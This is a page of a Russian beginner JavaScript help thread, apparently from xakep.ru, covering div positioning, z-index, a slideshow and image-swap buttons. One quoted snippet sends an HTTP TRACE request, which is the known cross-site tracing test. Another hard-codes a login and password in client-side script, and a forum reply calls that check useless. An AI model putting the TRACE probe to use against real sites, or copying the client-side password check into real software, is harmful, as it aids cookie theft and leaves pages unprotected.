function show_div(obj) { if(active_window!=='' && $(active_window)){CloseDiv(active_window);} active_window=obj; var screen_x,screen_y; // ®ЎйЁ© бЁ­в ЄбЁб if (self.innerHeight) { screen_x = self.innerWidth; screen_y = self.innerHeight; // IE 6 Strict Mode } else if (document.documentElement && document.documentElement.clientHeight) { screen_x = document.documentElement.clientWidth; screen_y = document.documentElement.clientHeight; // Ћбв «м­лҐ ўҐабЁЁ IE } else if (document.body) { screen_x = document.body.clientWidth; screen_y = document.body.clientHeight; } var el = $(obj); el.style.display = 'block'; var _body = document.body; var _offset = Position.realOffset(_body); var x = ((screen_x - el.offsetWidth) / 2) + _offset[0]; var y = ((screen_y - el.offsetHeight) / 2) + _offset[1]; if( screen_y &lt; el.offsetHeight ){ y = _offset[1]; } /* !!! ЁбЇа ў«Ґ­® !!! */ if (window.opera) { y=(screen_y-el.offsetHeight)/2 + _offset[1]/2; } // */ el.style.left = Math.ceil(x) +'px'; el.style.top = Math.ceil(y) +'px'; } (я хоть ее и правил, но сам нихрена не понимаю че там написано.)

используется библиотека prototype.js
Post #: 57
RE: Вопросы по Java.. (для новичков) - 2008-09-18 11:15:33.770000   
kreol

Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666

quote:

ORIGINAL: Панда

higherDiv.style.zIndex = 3;
тупимс?;)

Разве? higherDiv - он сверзху по порядку определения, а мне нужно его спрятать под lowerDiv. Соответственно, zIndex у него (в смысле, у higherDiv) должен быть меньше. Но почему-то не работает.
Post #: 58
RE: Вопросы по Java.. (для новичков) - 2008-09-18 12:19:51.843333   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
ладно, уточняю

higherDiv.style.zIndex = 3;

а терь смотри че у тя
Post #: 59
RE: Вопросы по Java.. (для новичков) - 2008-09-18 13:19:22.053333   
kreol

Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
quote:

ORIGINAL: Панда

ладно, уточняю

higherDiv.style.zIndex = 3;

а терь смотри че у тя

А, тфу, это да)) Это я просто не туда посмотрел. Вопрос вообще возник вот откуда: у меня есть див periodElement, которому нужно поставить событие на ondblclick. Чтобы точно этот див принимал все события, ставлю ему самый большой zIndex (сразу поставил через style, поэтому и не понял, в чём прикол в твоём ответе [&:]).
var periodElement = document.createElement('div'); ... periodElement.style.zIndex = 255; periodElement.ondblclick = myFunc; Но див почему-то всё равно не ловит это событие.
Post #: 60
RE: Вопросы по Java.. (для новичков) - 2008-09-21 13:32:10.906666   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
вобщем-то не мой код, но работать должен, но не работает(
&lt;script&gt; function sendTrace () { var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE", "www.site.com",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } &lt;/script&gt; &lt;INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request"&gt;
Post #: 61
RE: Вопросы по Java.. (для новичков) - 2008-09-21 14:31:12.773333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
brtn, этот код работать должен тока в MSIE, если ты сидишь в опере, лисе и прочих браузерах, то он там не прокатит, тк нет поддержки АктивХ
Post #: 62
RE: Вопросы по Java.. (для новичков) - 2008-09-21 22:41:04.620000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: oRb

brtn, этот код работать должен тока в MSIE, если ты сидишь в опере, лисе и прочих браузерах, то он там не прокатит, тк нет поддержки АктивХ

пнтн +
Post #: 63
RE: Вопросы по Java.. (для новичков) - 2008-09-22 19:08:18.193333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
не актуально, сам нашёл ответ на свой вопрос )
Post #: 64
RE: Вопросы по Java.. (для новичков) - 2008-09-27 12:32:31.680000   
Basher2008

Сообщений: 148
Оценки: 0
Присоединился: 2008-01-27 17:28:11.896666

Есть скрипт:
<script language="JavaScript">
pass = prompt('Ваш пароль:');
if (pass=='123') {top.location.href="123.html" } else {alert('Доступ закрыт!'), top.location.href="index.html" }
</script>
который пропускает юзера на страничку 123.html, если введёшь пароль 123, а как сделать скрипт который пропустит его туда если будет 2 параметра, ну скажем логин и пароль, причём он пропустит только в том случае если и 1 и 2 параметр будут верными?
Post #: 65
RE: Вопросы по Java.. (для новичков) - 2008-09-27 14:39:28.433333   
kreol

Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
quote:

ORIGINAL: Basher2008

который пропускает юзера на страничку 123.html, если введёшь пароль 123, а как сделать скрипт который пропустит его туда если будет 2 параметра, ну скажем логин и пароль, причём он пропустит только в том случае если и 1 и 2 параметр будут верными?

А чё, логически операторы не учили?

&lt;sсriрt language="javasсriрt"&gt; login = prompt("login: ", ""); pass = prompt("password:", ""); if (login == 'admin' && pass == '123') { top.location.href="http://xakep.ru" } else { alert('Доступ закрыт!'), top.location.href="http://google.com" } &lt;/sсriрt&gt; Только нахрена это нужно, если человек может открыть сам скрипт и посмотреть, какие должны быть логин и пароль?
Post #: 66
RE: Вопросы по Java.. (для новичков) - 2008-09-27 19:09:52.716666   
Basher2008

Сообщений: 148
Оценки: 0
Присоединился: 2008-01-27 17:28:11.896666
нууу, не всякий человек это может:D , хотя было бы интересно узнать о более прогрессивных методах. Держи репу
Post #: 67
RE: Вопросы по Java.. (для новичков) - 2008-09-27 19:29:27.190000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
более прогресивный метод писать на php скрипт и желательно с использованием баз данных)))
а если так уж хочется прям на яваскрипте, то можно использовать аякс) но тоже надо знать хотябы пхп)
Post #: 68
RE: Вопросы по Java.. (для новичков) - 2008-10-07 01:19:17.560000   
Гарик77

Сообщений: 3
Оценки: 0
Присоединился: 2008-10-07 01:13:37.370000
Не могу заставить этот скрипт (слайд шоу с плавным проявлением/исчезновением изображений) заставить работать в Огнелисе.
 Скрипт чей-то буржуйский и видимо старый. Может есть специ здесь, помогут?

<script language=javaScript>
<!– Beginning of JavaScript -

sandra0 = new Image();
sandra0.src = "sandraaa0.jpg";

sandra1 = new Image();
sandra1.src = "sandraaa1.jpg";

sandra2 = new Image();
sandra2.src = "sandraaa2.jpg";

var i_strngth=1
var i_image=0

var imageurl = new Array()
imageurl[0] ="1.gif"
imageurl[1] ="2.gif"
imageurl[2] ="3.gif"


function showimage() {       
    if(document.all) {
        if (i_strngth <=110) {
            testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>";
            i_strngth=i_strngth+10
            var timer=setTimeout("showimage()",100)
        }   
        else {
            clearTimeout(timer)
            var timer=setTimeout("hideimage()",1000)
        }
    }   
   
    if(document.layers) {
            clearTimeout(timer)
            document.testimage.document.write("<img src="+imageurl[i_image]+" border=0>")
            document.close()
            i_image++
            if (i_image >= imageurl.length) {i_image=0}   
            var timer=setTimeout("showimage()",2000)
               
    }   
}


function hideimage() {       
    if (i_strngth >=-10) {
        testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>";
        i_strngth=i_strngth-10
        var timer=setTimeout("hideimage()",100)
    }   
    else {
        clearTimeout(timer)
        i_image++
        if (i_image >= imageurl.length) {i_image=0}
        i_strngth=1
        var timer=setTimeout("showimage()",500)   
    }
}


// - End of JavaScript - –>
</script>
<body background="Ice3.gif" onLoad="showimage()">

<div id="mainbod" style="position:center;visibility:visible;top:50px;right:360px;">

</div>

<div id="testimage" style="position:center;visibility:visible;top:263px;right:295px"></div>
Post #: 69
RE: Вопросы по Java.. (для новичков) - 2008-10-07 12:38:55.140000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
ну по коду тут можно кое что оптимизировать а кое что надо заменить…
например можно заменить
var imageurl = new Array()
imageurl[0] ="1.gif"
imageurl[1] ="2.gif"
imageurl[2] ="3.gif"
на скажем такую конструкцию
var imageurl = new Array("1.gif","2.gif","3.gif")

а скрипт работет только в ие  потому, что document.all используется только в ие надо заменять на стандартные DOM методы
далее
testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>";
фильтры работают только в ие в фф нет

Post #: 70
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:02:27.890000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Сам придумать ничего не могу. Прошу помочь.

Есть скрипт, который отображает разную инфу в зависимости от того, на какую из пяти картинок нажали. Вот скрипт:

&lt;sсriрt language="javasсriрt"&gt; function onoff (dat1) { if (dat1==1) {document.all.itog.innerHTML="kartinka2";} else { if (dat1==2) {document.all.itog.innerHTML="kartinka3";} else { if (dat1==3) {document.all.itog.innerHTML="kartinka4";} else { if (dat1==4) {document.all.itog.innerHTML="kartinka5";} else {document.all.itog.innerHTML="kartinka1";} } } } } &lt;/sсriрt&gt;


и код картинок:

&lt;FORM name="on_off_form" method="post"&gt; &lt;img onClick="onoff (0)" src="images/b_n1.png"&gt; &lt;img onClick="onoff (1)" src="images/b_v0.png"&gt; &lt;img onClick="onoff (2)" src="images/b_f0.png"&gt; &lt;img onClick="onoff (3)" src="images/b_g0.png"&gt; &lt;img onClick="onoff (4)" src="images/b_h0.png"&gt; &lt;/FORM&gt;
Мне нужно сделать замену картинки по нажатию. Эти картинки представляют из себя кнопки. Т. е. для каждой кнопки есть два файла: обычное состояние и нажатое (в коде 1 - нажатое, 0 - обычное). Если нажата одна картинка, то остальные в обычном состоянии. Если нажата вторая, то она становится нажатой, а остальные возвращаются в исходное состояние.

Как такую замену адреса рисунка можно повесить на "onClick"? Есть ли альтернатива на JS?

ПС: Тег формы должен быть один на странице. Надеюсь объяснил понятно, а то сначала сам не разобрался, что написал :)
Post #: 71
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:35:36.590000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
хз, посмотри здесь, может что найдешь, что тебе надо (в исходном коде странички)

http://pashkela.narod.ru/prikol.html
Post #: 72
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:39:52.043333   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Нет, это не то. Мне нужна не галерея, а что-то вроде http://www.microsoft.com/en/us/default.aspx слева внизу, но по нажатию. И ссылки не текстом, а картинками. Как сделать смену информации я написал, а как сделать смену адреса нажатой картинки?
Post #: 73
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:57:18.580000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
window.location.href='http://новый_адрес';
Post #: 74
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:07:04.273333   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Наверно я неправильно объяснил :) Нужно изменить атрибут "src" в теге картинки
Post #: 75
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:21:24.466666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
http://www.webmasterworld.com/forum91/3975.htm
Post #: 76
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:40:16.210000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Ок, спасибо, буду разбираться




UPD: Если кому-то интересно, как я выкрутился:

для каждой картинки я вставлял примерно такой код:

&lt;div id="i1" onClick="document.i1.src=i1on.src; document.i2.src=i2off.src; document.i3.src=i3off.src; document.i4.src=i4off.src; document.i5.src=i5off.src;"&gt; &lt;sсriрt type="text/javasсriрt"&gt; i1on=new Image(); i1on.src="images/b_n1.png"; i2off=new Image(); i2off.src="images/b_p0.png"; i3off=new Image(); i3off.src="images/b_z0.png"; i4off=new Image(); i4off.src="images/b_f0.png"; i5off=new Image(); i5off.src="images/b_o0.png"; &lt;/sсriрt&gt; &lt;img class="b" src="images/b_n1.png" onClick="onoff (0)" name="i1" border="0" width="100%" height="100%" alt=""&gt; &lt;/div&gt;
и менял соответсвенно в каждом слое id, on/off.src и "name" рисунка. Все получается, но код увеличился примерно в 5-6 раз. Сейчас буду оптимизировать :)
Post #: 77
RE: Вопросы по Java.. (для новичков) - 2008-10-12 01:08:38.443333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
мдя.. на форуме яваскрипт ру есть ответ проще) лень щас идти искать на нём.. если завтро будет не лениво выложу или сам поищи
Post #: 78
RE: Вопросы по Java.. (для новичков) - 2008-10-12 01:39:50.020000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333

quote:

ORIGINAL: magistr_bender

мдя.. на форуме яваскрипт ру есть ответ проще) лень щас идти искать на нём.. если завтро будет не лениво выложу или сам поищи

Может быть я не там искал, но нашел вариант с чекбоксами. Мне он не подходил, т. к. одновременно могли быть выделены несколько картинок.
Post #: 79
RE: Вопросы по Java.. (для новичков) - 2008-10-12 11:40:16.280000   
АнтонММФ

Сообщений: 1364
Оценки: 0
Присоединился: 2007-06-11 08:58:50.760000
Люди, как сделать так, чтобы циклично по прошествии 1 секунды (то есть каждую секунду) картинка меняла положение на странице (например на 10 пикселей вправо и вниз)? Пытался реализовать через setTimeout, но не допёр, как сделать цикличность…
Post #: 80
Страниц:  1 [2] 3 4 5 6 7 8 9 10 11 12 13
Все форумы >> [Веб-программинг] >> RE: Вопросы по Java.. (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.